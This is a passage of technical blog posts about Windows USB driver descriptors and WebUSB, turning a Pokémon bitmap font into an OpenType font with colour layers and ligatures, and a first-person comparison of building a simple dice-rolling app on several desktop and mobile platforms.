This is not a code-focused article, but here is an example of a Microsoft OS 2.0 Descriptor which requests that Windows load the WinUSB driver. It is also possible to request loading other drivers such as the Xbox gamepad driver or the USB CDC-NCM Ethernet driver. Unfortunately, I do not know where to find a list of all drivers that can be loaded in this manner. The list on Microsoft's website which claims to be up-to-date clearly is not and includes neither WinUSB nor the CDC-NCM driver.

Microsoft OS 1.0 Descriptors should also work and should enable even greater compatibility, but there seems to be much less interest in continuing to support them. I also don't know what happens if a device supports both. (Personal speculation: A bunch of this may have been forgotten due to the aggressive push to roll out Windows 10 as well as some of these WinUSB capabilities seemingly being pushed for as part of or at least in association with Windows Phone efforts). For details and examples of Microsoft OS 1.0 descriptors, this article may help.

USB Binary Object Store

The USB Binary Object Store (BOS) descriptor is a mechanism for a USB device to describe "extra" structured binary data for a host. This data is "extra" in the sense that it is not required to operate the core USB device framework. This is, once again like many aspects of USB, excessively generic.

This descriptor originated with some combination of the Wireless USB specification (which has since been memory-holed) and the USB 3.0 specification. It was then backported so that it can also be used with USB 2.0 devices. To use a BOS descriptor, devices must report a bcdDevice in the device descriptor of at least 2.0.1 or 2.1.0 depending on which "extra" features are indicated. (Microsoft OS 2.0 Descriptors require indicating USB version 2.1.0.)

Examples of "extra" capabilities described by BOS descriptors include Wireless USB data rates and capabilities, support for USB 2.0 Link Power Management (the original reason for the backport), and information about USB 3 speeds and power management latencies.

One of the categories of "extra" capabilities is a capability (0x05) for defining arbitrary platform-specific capabilities (identified by a GUID). Yes, this is indeed yet another generic layer inside of a generic layer. The use of a GUID however allows anybody to define platform-specific capabilities without having to coordinate with each other or with the USB Implementors Forum.

A specific GUID, {D8DD60DF-4589-4CC7-9CD2-659D9E648A9F}, is inserted into the BOS descriptor to indicate support for Microsoft OS 2.0 Descriptors. An example can be seen here.

WebUSB

Due to ecosystem trends which were very much intentional but out of scope for this article, a lot of software nowadays is delivered through Chromium-based web browsers. As part of enabling web browsers to become a major software delivery channel, the WebUSB API was introduced to allow web pages to talk to USB devices using generic USB device frameworks described throughout this article.

A device which is intended to be accessed from a website can embed a URL inside its firmware by adding a special WebUSB descriptor. This is optional, but having one will enable browsers to automatically offer to open the specified web page. This means that the end-to-end user experience for a device becomes "plug in device, driver automatically installs, browser automatically offers to open a page containing software to use the device".

WebUSB support is also indicated in the USB BOS descriptor using a platform GUID of {3408b638-09a9-47a0-8bfd-a0768815b665}.

Conclusion

This future certainly is weird and full of quirks, but there finally exists a way to make drivers less painful. You "just" need to know how.

Now you know!

A quick introduction to OpenType

2025-05-27T00:00:00+00:00

Hi! Sorry to keep you waiting!

Welcome to the world of OpenType!

My name is @ArcaneNibble.

But everyone calls me the…

ahem

Not sure what just happened there…

In all seriousness, this page uses a font which has been derived from that used in the later POKéMON Generation III games. I've converted it to OpenType and made use of several "advanced typography" features along the way. In this article I hope to show off OpenType, HTML, and CSS functionality which might not be widely known and how they can be applied even for Latin script.

If you just want the .ttf file, get it here. If you want the source code, it is here.

Are you even allowed to do this?!

I will preface this section by stating that "I am not a lawyer", but copyright and intellectual property protections for typefaces and fonts are much more inconsistent compared to other creative works.

In the United States, the shape of the letters themselves is not eligible for copyright. However, font software (a computer program which instructs a computer to produce letter shapes) is copyrightable, just like ordinary computer software. This means that commercial OpenType font files (which contain software) are protected by copyright. Bitmap images, in contrast, do not contain creative expressions of instructions (bitmap rendering is fixed and inflexible) and so are probably not protected in the same way.

In other jurisdictions such as Germany and the United Kingdom, typefaces are considered copyrightable. However, this form of copyright is weaker. It may last for a shorter amount of time, and, in the case of the United Kingdom, the legislation specifically allows for someone to "use the typeface in the ordinary course of typing, composing text, typesetting or printing".

However, more importantly, I think it is valuable to consider what the purpose of copyright is nominally "supposed to" be. Is it useful to preemptively restrict yourself from participating in building and remixing culture? Especially when a lot of modern culture is owned by large corporate entities?

tl;dr we're going to FAFO, but bitmap/pixel fonts are probably okay

What is a font?

I don't know about you the reader, but I personally found much of the terminology around typography very confusing coming from the digital era without having much cultural knowledge of how printing used to be done. Vague mentions of "Gutenberg" in history books isn't enough.

In a movable type printing press, the individual blocks with letters on them are called type or sorts.

Photo by Willi Heidelbach

The visual shape of a letter is called a glyph. A complete set of these individual type pieces (of a particular size and style) is a font. The design principles which go into designing a font (e.g. at different sizes or different weights) make up a typeface.

"Computer people" (some of whom were intentionally working on/with "publishing" and some of whom were not) then came around disrupting everything.

Bitmap fonts

For now, let's skip ahead and over all of the early history of digital typography and go straight to the era of video games and home computers. These systems tended to use bitmap fonts at a fixed low resolution due to hardware limitations.

Commodore 64, IBM VGA, and Pokémon Generation II fonts

Many of these systems had hardwired logic for rendering "characters" or "tiles". In some cases, the shape of these characters was fixed into a ROM, and in other cases they were reconfigurable. However, these systems would in all cases render text as fundamentally composed of fixed-sized rectangles. It wasn't easy (or sometimes even possible) to render text at different sizes. Essentially, many of these systems only supported one single font.

The typefaces and fonts on some of these systems might've been designed by a "real designer" trying to optimize for readability, but it is just as possible that fonts on these systems were designed by a harried game programmer or electrical engineer.

Because a bitmap font contains information only at a given resolution, it doesn't scale nicely to other sizes. Scaling up either results in it becoming blurry or increasingly blocky and pixellated. Solving this problem requires the use of vector graphics.

OpenType

Separate from these systems which were just trying to "get something done", people were of course trying to digitize the traditional process of typography and typesetting. After many ideas were tried and much commercial competition occurred (between companies such as Apple, Adobe, and Microsoft), the situation culminated in a compromise file format called OpenType.

OpenType originally consisted of Microsoft extensions to Apple's TrueType format (the origin of the .ttf extension). TrueType itself was a competitor to Adobe's PostScript fonts. As a compromise format, OpenType can use either TrueType-style glyph outlines or PostScript-style glyph outlines. OpenType has since continued to evolve as users demanded more and more of digital typography and desktop publishing.

(If you are familiar with WOFF, it is merely a compressed variant of OpenType.)

In a typical font file, OpenType describes a typeface using Bézier curves, which are a particularly common form of vector graphics. These curves can be rendered, or rasterized, at different sizes and resolutions. Using other advanced features (variable fonts), the typeface can also change in weight (thickness) or other parameters, all of which would have previously required different fonts. This means that a single font file can now describe an entire typeface or even a family of related typefaces, and the entire process is well removed from dealing with cases full of physical type sorts.

Controlling all of this is all sorts of metadata, tables, and, in many cases, code. In the rest of this article, we will be exploring how this works.

Looking inside fonts

If you are comfortable with Python and the command line, the fonttools package can be used to look inside font files. The ttx utility converts between binary files and an XML representation of the information. Running ttx -f Emerald.ttf produces a file Emerald.ttx that can be opened in a text editor:

<?xml version="1.0" encoding="UTF-8"?>
<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="4.58">

  <GlyphOrder>
    <!-- The 'id' attribute is only for humans; it is ignored when parsed. -->
    <GlyphID id="0" name=".notdef"/>
    <GlyphID id="1" name="zwj"/>
    <GlyphID id="2" name="vs1"/>
    <GlyphID id="3" name="vs2"/>
    <GlyphID id="4" name="en"/>
    <GlyphID id="5" name="em"/>
    <GlyphID id="6" name="sp6"/>
    <GlyphID id="7" name="sp5"/>
    <GlyphID id="8" name="sp4"/>
    <GlyphID id="9" name="sp2"/>
    <GlyphID id="10" name="sp0"/>
    …

The process that I used to create this font from bitmap images also relies on fonttools, as the entire process is done programmatically rather than being edited in GUI font editor software.

Tracing pixel outlines

To bring this font into the world of OpenType, we need to convert it from a bitmap font. Because enough time has passed since the mass-market introduction of vector typefaces, the pixellated appearance of bitmap fonts is no longer a limitation but is now an intentional design choice to evoke a retro, nostalgic appearance. As such, we want to perform the conversion so that the typeface remains blocky and pixellated even as it scales to larger sizes:

ABCD

Because this font was designed for a device with a tiny screen, the result also scales quite well down to small sizes while remaining readable. Being an OpenType vector font also allows rendering engines to synthesize an italic form which never originally existed. This italic form can take advantage of modern high-DPI displays and isn't restricted to the same pixel grid as the original bitmap glyphs.

Overall, this is far more than a bitmap font could have ever been, back in the day!

The naïve way to trace pixels into outlines might be to take the input bitmap font and, for each pixel which is filled, emit individual closed square path shapes.

Unfortunately, rasterizers tend to not like this. Doing this tends to result in tiny gaps between the pixels, even if I try to make the pixels slightly bigger to try to force them to overlap:

From a previous attempt at making an icon font from game sprites

To fix this, we need to fuse adjacent pixels together and generate a single path for each contiguous region. I'm not sure whether or not this is a well-known computer graphics algorithm (I couldn't find a reference), so I've invented my own.

The first step is to scan through a bitmap row-by-row and pixel-by-pixel. For each pixel, we mark which sides of the outline should end up in the final output. For an empty pixel, this is none of them. For a filled pixel, this starts out as all four sides. The code then checks whether the pixel above or to the left are also filled. If so, the shared side is unset on both this pixel and the other pixel.

After this step, we have various tiny path fragments which need to be joined end-to-end in order to form valid vector graphics paths. We had also previously been ignoring direction (clockwise or counterclockwise), but we need to pay attention now because OpenType only fills clockwise paths (and counterclockwise paths can be used to cut holes out of a filled region, such as in the letter "O"). In order to help with the next step, we prepare a few more data structures.

First of all, we take all of the path fragments and their directions and collect them into a big list.

Second, for each point between pixels, we store the path fragments which interact with that point.

We can then use the following algorithm to turn pixels into paths:

Start with an arbitrary path fragment. Make its endpoint the current point.
At the current point, determine what directions the algorithm can follow by using the "fragments associated with every point between pixels" array. If there are multiple choices, prefer a clockwise turn in order to properly maintain the clockwise path direction.
If the direction changed, add a control point. If the direction did not change, replace the current point (making the current straight line longer).
When all path fragments have been used, the algorithm is complete.

For debugging, this output can be converted to an SVG and opened in tools such as Inkscape. However, do note that SVG and OpenType have a different coordinate system (SVG uses a "computer graphics" convention with the y-axis pointing down, whereas OpenType uses a "mathematics" convention with the y-axis pointing up).

Colors

If you look carefully, you might notice that this typeface has a text shadow. This isn't created by CSS but in fact is baked into the font file itself. This is done using a technology which is used for color emoji, but it is in no way restricted to them.

Some of the earlier color font technologies (sbix, CBDT) worked by embedding color bitmaps inside an OpenType file. Unlike with early home computer bitmap fonts, these tables store large, high-resolution images which would be scaled down (which tends to work a lot better than scaling up). This technology was pretty clearly designed for emoji and didn't generalize well to other use cases.

Adobe came up with an idea for color vector fonts by storing SVG data inside OpenType. This is only supported by Firefox, but it can result in fun party tricks like an animated font.

The most widely supported technology which is actually usable in browsers is Microsoft's COLR and CPAL tables, and this is what I've used here. Fundamentally, the way this works is to break up each glyph into separate layers, one for each color. In this font, this means that one glyph contains the black "actual" pixels and a second glyph contains only the text shadow pixels.

The COLR table is used to indicate which layers to draw for each individual glyph and which palette entries to use for those layers. The CPAL table contains one or more palette choices which the type designer has determined ought to look good. The font I've created only contains a single palette, but, on the Web, @font-palette-values CSS rules can be used to manually override individual colors. For example, shadows can be green!? They can also be disabled by setting them to #00000000.

This usage of color layers is certainly a bit of a gimmick, but it allows for tricks such as the tiny red pixels which tell a user to press the d‍p‍a‍d‍l‍r directions on the d-pad.

Character sets and coverage

I actually snuck in a little trick in that #00000000 example just now. Fonts which are used in video games might not contain every character that a modern system would expect. Likewise, they might contain graphic symbols which don't have obvious mappings to Unicode (despite efforts such as the "Symbols for Legacy Computing" block). Video games of the era in question would often also use a nonstandard character encoding. This needs to be dealt with in order to make a font file which is generally usable.

Some of these choices might be subjective and depend on how a type designer interprets the typeface and the Unicode standard. For example, I've chosen to map the ¤ symbol to the codepoint U+00A4 CURRENCY SIGN. This is semantically appropriate but differs from the normal rendering of the codepoint in most fonts. (On the other hand, 円 is mapped to its usual CJK unified ideograph codepoint at U+5186)

As for the problem of not containing enough characters, this font actually doesn't originally contain #. It also doesn't contain ordinary non-fancy quotes ('"), brackets ([]{}), or several other ASCII characters. Although it's possible to leave them out, font fallback can end up choosing something which looks very incongruous. In this case, I have custom-designed some glyphs for these characters (trying to maintain the look of the original typeface): "#$'*[\]^_{|}. I've also designed many custom glyphs by piecing together and modifying existing components (e.g. letters, accents) in order to improve coverage for European languages. This means that you can now write ő if you're from Hungary, ŵ if you're from Wales, ð if you're from Iceland, etc.

Ligatures

Creative interpretation of the Unicode specification can handle many symbols, but what can you do if you really wanted to become a P‍kM‍n TRAINER? Or if your pet really loves the taste of P‍oK‍eB‍LO‍CK‍.s? Or if you're merely celebrating reaching L‍v100?

I've chosen to encode these by using zero-width joiner sequences, which are probably best known in English for being used to combine sequences of emoji such as 👨‍👩‍👦 out of U+1F468 MAN + ZWJ + U+1F469 WOMAN + ZWJ + U+1F466 BOY. In this case, this means that Pk becomes P‍k when a ZWJ character is inserted in the middle.

Yes, this means that you can also create your own emoji ZWJ sequences, as long as you can get users to use your font file. Want custom flags? Facial features? Skin tones? You don't have to wait for Apple nor the Unicode Consortium.

Configuring all of this requires using the very complicated GSUB glyph substitution capability. Fundamentally, this capability allows for replacing certain sequences of glyphs with certain other sequences of glyphs, but only within an appropriate context (which can include surrounding glyphs, an appropriate language, a user setting, or other parameters). For example, in traditional Latin script typography, sequences such as "fi" might optionally get replaced with a form where the "f" overlaps the dot of the "i". Arabic and Indic scripts might require various substitutions, but only given certain surrounding letters.

In this font, I placed all of the ZWJ sequences inside the rlig (required ligatures) OpenType feature which should always be enabled for Latin script.

For something which really abuses ZWJ sequences, gamepad icons can be referred to by inserting multiple ZWJs in a magic code such as btnst in order to tell the user to press the b‍t‍n‍s‍t button.

Variation Selectors

Finally, how do we handle the situation where the game's Latin and Japanese fonts render certain characters slightly differently? One possibility is to create two separate font files. However, there is yet another way—Variation Selectors.

These characters have a number of uses including specifying minor variations in CJKV characters which do not have separate codepoints (i.e. they are semantically "the same" character, but different forms may be preferred in different countries). However, once again OpenType allows us to define our own nonstandard ones, and they will be stored in a special part of the cmap table.

This allows us to specify variations like this: ♂︀♂︁♀︀♀︁. The second character in each pair comes from the Japanese font, and they are accessed by adding U+FE01 VARIATION SELECTOR-2 after the character (U+FE00 VARIATION SELECTOR-1 selects Latin glyphs, which does nothing in this context as they are the default).

Language-dependent substitutions

In GSUB tables, it is possible to define language-specific character substitutions like the following: I wish this text was in にほんご!

This is tagged using a lang="ja" attribute in HTML and uses the locl feature and JAN (Japanese) Language System (LangSys) in OpenType. I've mapped the standard 26 Latin letters, the digits 0-9, and the ?! punctuation to their fullwidth glyph variants, which is what would happen in a Japanese edition of the game. I've also mapped many of the special glyphs and ligatures to their Japanese variants, but I haven't mapped e.g. the period . to the ideographic full stop 。 as these characters are semantically different.

If this is undesired, font-feature-settings: 'locl' 0 in CSS can be used to disable it: I wish this text was in にほんご!

This can be combined with variation selectors, as long as the font is correctly programmed:

Default glyphs, followed by forced-Latin, followed by forced-JP, language tag ja: ♂♀L‍vP‍PI‍D🡅 ♂︀♀︀L‍v︀P‍P︀I‍D︀🡅︀ ♂︁♀︁L‍v︁P‍P︁I‍D︁🡅︁

Default glyphs, followed by forced-Latin, followed by forced-JP, language tag en: ♂♀L‍vP‍PI‍D🡅 ♂︀♀︀L‍v︀P‍P︀I‍D︀🡅︀ ♂︁♀︁L‍v︁P‍P︁I‍D︁🡅︁

Some complexity and compatibility issues can occur here because different systems may process these OpenType features in different orders. For the most part, for "standard" scripts, features are processed in the order in which "lookups" are defined in the GSUB table. However, complex scripts will always process certain features before certain others. Consult the Microsoft script development specs for more details.

Have fun!

WALLACE: Come on, let's record your
name as a HACKER who triumphed over
digital typography, and the lines of
horrible Python which battled with you.

So you want to write an "app"

2025-05-21T00:00:00+00:00

After writing that (no-longer-)recent post on web development, I wanted to get a personal "feel" for what the "new developer experience" is actually like across all of the current platforms if you don't resort to web tech such as Electron.

I've been a computer toucher for decades, but I've never been an "app developer" and have always interacted with computing in an idiosyncratic way. Although I did build GUI programs using WinForms, I haven't been actively keeping up. This is therefore a gap in my skillset! So, let's try to close it!

This project began with a live-toot stream, and this post is a long-form summary and retrospective. If you want to peruse the code, you can find it here.

The "app"

For this experiment, I chose to write a program to generate random numbers in a user-specified range. This simulates rolling different types of dice with different numbers of sides, as would be used for DnD or other TTRPGs, and would be part of the long tradition of using computers to play games.

The idea behind choosing something "simple" like this was to focus my attention on the "tooling setup" and "basic UI building" functionality of each platform rather than the application logic.

In order to increase the difficulty and place some more attention on "platform integration" functionality, I eventually added the following additional requirements to the GUI applications (i.e. not the command-line ones):

persistent settings (the number of sides on the dice is saved and reloaded)
localization support into at least one non-English language

For each platform, I tried to use the tools, technologies, and documentation that were most prominently promoted and/or that I had the easiest time finding. Unfortunately, gone are the days where programmers would invest a lot of time to get to truly know a platform inside and out, but I tried to do my best to simulate a harried (but competent) programmer.

The platforms

I ported this program to the following platforms, in order:

Standard C
C/POSIX, command-line
Linux with GTK and GNOME
Linux with Qt and KDE
Windows with WinUI 3
macOS/iOS with SwiftUI
Android with Jetpack Compose

Sarcastic one-liner awards

Although I learned a lot, the experience wasn't great. As such, I've chosen to award each platform its own unique sarcastic summary, which I will subsequently expand on:

Standard C — Most resistant to obsolescence
C/POSIX — Most useless standard
GTK/GNOME — Most squandered potential
Qt/KDE — Most screwed over by the platform
WinUI 3 — Most uninspired
SwiftUI — Most fun to waste time with
Jetpack Compose — Most blatantly "mask off"

Standard C

To set the stage, I started this experiment by implementing the core functionality using only standard C. This is the programming language I myself started with over 20 years ago, so I assumed (hah!) that there wouldn't be anything for me to learn from this.

This initial program is short enough to be included right here in this post:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
    srand(time(0));

    while (1) {
        unsigned int dice_max;
        while (1) {
            printf("Dice max? ");
            int ret = scanf("%u", &dice_max);
            if (ret == 1) break;
        }
        if (!dice_max) {
            printf("Invalid!\n");
            continue;
        }

        unsigned int rand_div = (RAND_MAX + 1u) / dice_max;
        unsigned int rand_cap = rand_div * dice_max;
        unsigned int rand_roll;
        do {
            rand_roll = rand();
        } while (rand_roll >= rand_cap);

        printf("Rolled: %u\n", rand_roll / rand_div + 1);
    }
}

A lot of discourse about C nowadays tends to focus on its many (legitimate) problems with memory (un)safety, undefined behavior, and ABI hell, but none of that matters for an application like this. Despite all of its flaws, C is perfectly capable of representing programs like the one above which use structured control flow and perform simple text-based interaction with a user.

If anything, the fact that computing did manage to get to the point where I can write the above program once and then run it on any computer which implements the appropriate international standard... is an extraordinary achievement! If the above program were to be downgraded to only depend on C89 or K&R features (an exercise for the reader), it would run on computers stretching back across decades, and it will likely continue to run on computers for many years to come.

However, despite its great success at being a standardized language capable of expressing structured control flow while balancing the interests of innumerable interested parties, computing needs more than that, starting with "how does a user actually go about acquiring or otherwise running this program on a given computer?"

C/POSIX

Many developers including myself use "Unix-style" tooling regularly, so a reasonable thing to try and do might be to make this dice program work "like a Unix-style" tool. But what does that actually mean? How do you do that?

I'm too young to have lived through the era of the "Unix wars" and needlessly-incompatible differences between vendors, and so I'm lacking a lot of the historical context. However, attempts were at some point made to standardize Unix behavior into an IEEE standard called POSIX. This seems like a direction to start looking!

Except... how does a programmer starting out today even learn about POSIX? I happened to already know about POSIX because I've heard people talk about it over the years. I don't know that a novice programmer would necessarily come across it or believe it to be relevant, especially given the amount of time which has passed since the Unix wars and the amount of flaws the standard has (as we shall soon see).

One success of POSIX is that it specifies c99 as a standard executable name for a C compiler, and it specifies a portable subset of makefiles for building software from source. The subset which is standardized is enough to compile a simple application like ours:

.POSIX:
CFLAGS = -O1

dice: dice.c

clean:
    rm -rf dice

(For those unaware, make has various built-in rules which know how to compile C programs! You don't have to write out explicit rules!)

Given a source code distribution with a single .c file and a makefile, someone familiar with "it's a Unix system!" should ideally be able to figure out to type make and ./dice to compile and run this application.

Is there a way to make this program "fit in" even better? POSIX has a chapter titled "Utility Conventions" giving general guidelines for how tools should behave. Its description of how to format "usage" messages and command-line arguments is quite useful! However, we soon run into things which didn't manage to get standardized or written down.

One convention of many "Unix-style" utilities is that they often produce minimal or even no output in normal situations, and that they normally run in a "one-shot" or "batch" fashion rather than being user-interactive like the "standard C" example. There are reasons for this (such as the ease of constructing shell scripts and pipelines), but this is an idea which I originally had to learn "orally" many years ago, rather than via more-formalized written means.

As we try to refactor the code to work this way, one question comes up — what should we do when there's an error (such as an invalid number of sides)? A number of utilities that I use seem to have a common convention for reporting errors (i.e. printing the name of the program before printing the actual error message), but what actually is this convention? It turns out that this originally came from the GNU coding standards! I did not know this until this experiment, and the fact that I didn't doesn't reflect well on the success of the mission of the GNU project.

After I finished modifying the code to work in a "Unix-like" "one-shot" fashion, I ran into an issue during testing (that the standard C implementation also shares but manages to hide better) — the numbers it generated stopped being random, but only on macOS. It turns out that it isn't actually specified how rand is implemented under the hood, and the macOS implementation doesn't mix the bits of the seed around very well until you generate at least one random number.

POSIX specifies a different pseudo-random number generator in the form of the rand48 family of functions. This has well-defined behavior, but it is still not a "good" random number generator. This might not matter for playing TTRPGs, but it can become a problem when the stakes get higher.

Unfortunately, "good" random number generators such as getrandom(2) or /dev/urandom aren't actually specified in POSIX (even though they are reasonably-widely available).

This is a huge problem of slow-to-respond standardization processes! They run the risk of becoming increasingly irrelevant, and the issues which they had hoped to solve (e.g. portability) once again become everybody's problem. This applies not just to POSIX but to everything, including C's slow efforts to modernize itself.

From this experiment, I've managed to gain a newfound appreciation for people such as Julia Evans who have been continuing to disseminate "basic knowledge" about how operating systems and developer environments work.

GNOME/GTK

The next platform I chose to test out was GNOME, as this is the default desktop environment for popular Linux distributions such as Ubuntu and Fedora. At least in my mind, GNOME or KDE on Linux are the platforms most associated with the "free and/or open-source software" movement (sorry, fans of Hurd, the various BSD flavors, or "minority" desktops such as LXDE, Cinnamon, and MATE).

GNOME has a rather nice-looking developer introduction page listing multiple choices for programming languages to use with it. Because I wanted to try out the "low-level, native" experience, I read through the documentation on getting started using C. From browsing around the documentation, I quickly also found GNOME's Human Interface Guidelines. The recommended workflow was to use GtkBuilder XML to build UI and Gnome Builder as an IDE, compiling applications using a Flatpak SDK. Overall, GNOME felt like it should be a nice environment to develop for!

Unfortunately, once I actually got started, the experience of developing GNOME software ended up being extremely frustrating. The documentation (as well as the entire project) felt "incomplete" — not because any specific code objects lacked documentation, but because the documentation which did exist didn't really succeed at building up mental models and conceptual understanding.

For example, the introductory documentation makes almost no mention of GLib or the GObject system which underlies all of GNOME and GTK. Understanding this is extremely important because there is a lot of complexity involved in a cross-language object system usable from C code as well as higher-level languages, and this system is involved when responding to user actions. In fact, GObject feels so conceptually underdocumented that, until this experiment, I actually had no idea what GObject even was or did (despite using GNOME software), and I had no clue that the GNOME project had powerful functionality like this!

To continue on the point about "conceptual understanding", I still don't understand e.g. why some parts of the application use "actions" to handle events while dialogs have to use "signals" instead ("actions" and "signals" also have totally different mechanisms for specifying handler functions, so they're very not interchangeable!).

The debugging experience with the GNOME ecosystem repeatedly resulted in situations of "nothing happened (but something should've), and now I have no idea why". For example, mismatching the types in g_simple_action_new vs in the GtkBuilder XML resulted in menu items that were greyed-out and disabled, and I had no idea whether I had written the XML incorrectly, forgot to set an "enable" flag somewhere, or made a different error entirely. Likewise, attempting to set up translations repeatedly resulted in "it just doesn't load the translation", and I had no idea what step in the build process I had missed. (As far as I can tell, translations simply don't work in the "latest" version (which is the default) of the Flatpak SDK. Selecting a different version, such as "48", magically works.)

Persistent settings were stored using GSettings, which is a mechanism for storing typed information according to a schema. In theory, this allows for arbitrary other parts of the desktop environment to interact with and understand a given application's settings. In practice, this didn't work (the settings couldn't actually be found by e.g. command-line tools) for some reason relating to Flatpak, and in fact integrating with GSettings made it no longer possible to launch the program locally for development (it would crash on launch because the schema wasn't properly "installed", although this somehow magically works without "installing" the schema when building a Flatpak). Yet again, this would be much easier to understand if the documentation were better at explaining context, "why?", and overall architecture and vision.

Overall, I really wish GNOME was good! Unfortunately, in its current state, it kinda isn't. What I have heard repeatedly from other people after doing this experiment is that GNOME keeps failing to listen to, communicate with, and value contributions from power users and other "outsiders". In my opinion, it really shows, as many of the struggles I ran into are likely already well-understood and internalized by regular GNOME developers.

KDE/Qt

As mentioned, the other "major" Linux desktop environment is KDE, and so I sought to try it out next. KDE's developer documentation pointed me at using the Kirigami framework using either C++ or Python, of which I chose C++.

KDE's documentation felt somewhat haphazard and disorganized in comparison to GNOME's, but it is "task"-focused and fits well with the way I prefer to work (i.e. I'm not complaining, but other developers might).

KDE's tutorials unfortunately run headfirst into wider C++ platform problems that GNOME managed to avoid by recommending Flatpak. The tutorial suggests to use CMake to locate its library paths and compile your application, but CMake has a bit of a reputation for unhelpful and confusing error messages. The vast majority of the frustration I encountered while developing a KDE/Qt application was caused by CMake rather than by the UI frameworks themselves, with issues such as:

giving an unhelpful message that it couldn't find "ECM", rather than correctly immediately detecting that Ubuntu 24.04 LTS simply doesn't have KDE 6 (but does have Qt 6)
needing to write KF6::ConfigCore in one location but Config (no Core) in another
giving a completely inscrutable No TARGET 'something' has been created in this directory. error when attempting to build translations using copypasted steps from the KDE wiki
- I still don't understand what this error actually means, but changing TARGET to OUTPUT magically fixed it
crashing instantly in qemu-user when attempting to cross-compile a Flatpak

Once I had sorted out (or ignored) all of these errors, developing software using Qt and QML was quite comfortable and straightforward. The details which I had struggled with in GLib/GObject are nicely explained in Qt's signals and slots documentation. Although I chose to entirely embrace KDE frameworks, KDE felt like it was less-opinionated and much more open to piecemeal adoption (e.g. many KDE apps do not use Kirigami, and I had to specifically choose to even use KConfig).

For better or for worse, I believe KDE benefits significantly from Qt being widely used by "ISVs" outside of the Linux desktop ecosystem (e.g. on industrial HMIs and automotive infotainment systems). This commercial interest and Business™ probably yields a lot of opportunities, demand, and money for Qt to document the details needed for creating bindings between UI and code.

KDE and Qt tended to be louder with errors, usually at least printing something to the terminal when something went wrong. In one case, errors were even reported by dumping an "ugly" error message directly into UI text. This behavior greatly reduced "nothing happened" debugging frustration.

Persistent settings were stored using KConfig. Unlike GNOME, this doesn't require setting up a schema. Other than the CMake confusion, it was very simple to store and retrieve one single value. In fact, KDE's documentation is how I finally managed to learn about the existence of the XDG Base Directory Specification, which I hadn't ever heard of before!

Overall I quite like KDE's "get stuff done" vibe, but I do wish that the "Linux native code" situation was better.

Aside: gettext

Much of translation and localization of F/OSS software seems to rely on gettext. Without commenting on the API of it (not being much of a localization expert), I will say that cultural knowledge around this topic is woefully inadequate.

The GNOME documentation is completely useless for anyone who has not actually used *nix localization tools before and has not heard of gettext (i.e. me, before having done this experiment), and it took me a very long time to figure out that relevant setup work needed was documented by Meson, the build system, rather than by GNOME.

The KDE documentation on the other hand is for some reason buried under the tutorial for building Plasma widgets (rather than somewhere more general) or else on the aforementioned other wiki.

As someone who is multilingual (although I do all of my tech work in English), I am going to be so much louder about i18n/l10n after this experiment.

WinUI 3

In the interest of time, after trying out both GNOME and KDE, I moved on from F/OSS desktops to try out Microsoft's WinUI 3 and C++/WinRT. As mentioned, my past experience with GUIs was with WinForms, and so I wanted to see what had changed or improved in the intervening years.

Immediately, I noticed and appreciated the advantages of XAML responsive layout over the fixed pixel or DLU (dialog unit) layout of older Win32. This idea of auto-sizing has been almost universally adopted by every UI toolkit as screen sizes have become more varied. (Every other GUI toolkit in this experiment has automatic layout. This is notable only because I had prior experience with older fixed-layout toolkits on Windows.)

Unlike the previous frameworks I tried, the WinUI and C++/WinRT build process also catches and prevents a lot of errors which might otherwise occur with "stringly-typed" UI builders. Visual Studio's debugging functionality (e.g. the XAML live viewer) also works reasonably well.

Overall, it's quite an improvement for Microsoft!

However, an improvement for Microsoft means that it's still Microsoft, and the entire "rest of the owl" is a huge mess of brand confusion, clunkiness, and "why should I even bother to learn this?"

I constantly struggled to identify the difference between WPF, UWP / WinUI 2, and WinUI 3 (especially the latter two). There isn't always a clear separation between the documentation for these frameworks, and I managed to at one point get an inscrutable Windows threading-related exception when I accidentally used Windows.UI.Xaml.Data rather than Microsoft.UI.Xaml.Data.

Although I was running it on underpowered hardware, the build pipeline for this framework was slow, subjectively the slowest of all platforms tested. It certainly involved the largest number of steps, including processing IDL and XAML files followed by compiling some "modern" template-heavy C++.

C++ does not feel like the preferred "language projection" for WinRT, and many of Microsoft's developer resources seem to be encouraging the use of C# instead.

Persistent settings were stored using Windows::Storage::ApplicationData which contained several confusingly-different locations for storing key-value pairs. Once I chose the appropriate one (LocalSettings), it was straightforward to put a value into it.

Overall, WinUI 3 feels like an "it works, I guess?" technology both befitting and characteristic of Microsoft. It's not the newest, fanciest technology, but it's not really supposed to be. It might indeed help make Business™ Software™ work better. However, especially when considering all of the user-hostile features being constantly added to Windows 11, it's simply not clear why a new developer would or should bother to invest in Microsoft's ecosystem.

SwiftUI

SwiftUI was the first "everything as code" declarative UI framework I've ever used, and Apple has really nice developer documentation that is again an excellent fit for my particular "tasks and examples"-driven way of thinking.

SwiftUI is clearly a product of the Apple style of building very vertically-integrated, opinionated walled gardens. For example, SwiftUI and Xcode have a quite powerful live-preview capability, and the implementation of it is magic.

This level of tight integration results in something which is fun to just play around with. Unfortunately, doing so requires using Apple hardware, Apple software, Apple programming languages, and Apple's ideas about what "apps" should be able to do. This seems to result in a lot of "apps" which are quite simplified, "same-y", and otherwise a fraction of the potential of what computers can do.

Apple has also acquired a reputation for churn, and I encountered my share of that as well. I've been quite behind in updating some of my software, and so I did not have access to the SwiftUI NavigationStack and had to emulate it. The Apple developer ecosystem doesn't seem to value forward or backward compatibility — a stark contrast to the standard C example or even Apple of earlier eras.

Persistent settings were extremely easy to set up using a @AppStorage property. In the same manner as everything else Apple, it works magically as long as you don't question how or where data is stored.

Overall, I really enjoyed my limited time with the developer experience here, and I can understand why at least some people really like the Apple ecosystem as both a user and/or as a developer. Unfortunately, as someone who also very values some of the ideals of the F/OSS movement, I just cannot go all in on Apple, and I can see how restrictive this ecosystem can be and how difficult it would be to reuse anything on other platforms.

Jetpack Compose

At this point in the experiment, exhaustion was starting to set in, but I still had to try out the most popular operating system in the world — Android, where the promoted UI framework was Jetpack Compose.

To be very blunt, Jetpack Compose felt like a very soulless "I wish it were SwiftUI". The documentation and tutorials are a horrific mess, oversimplified into oblivion and not at all universally accessible nor useful.

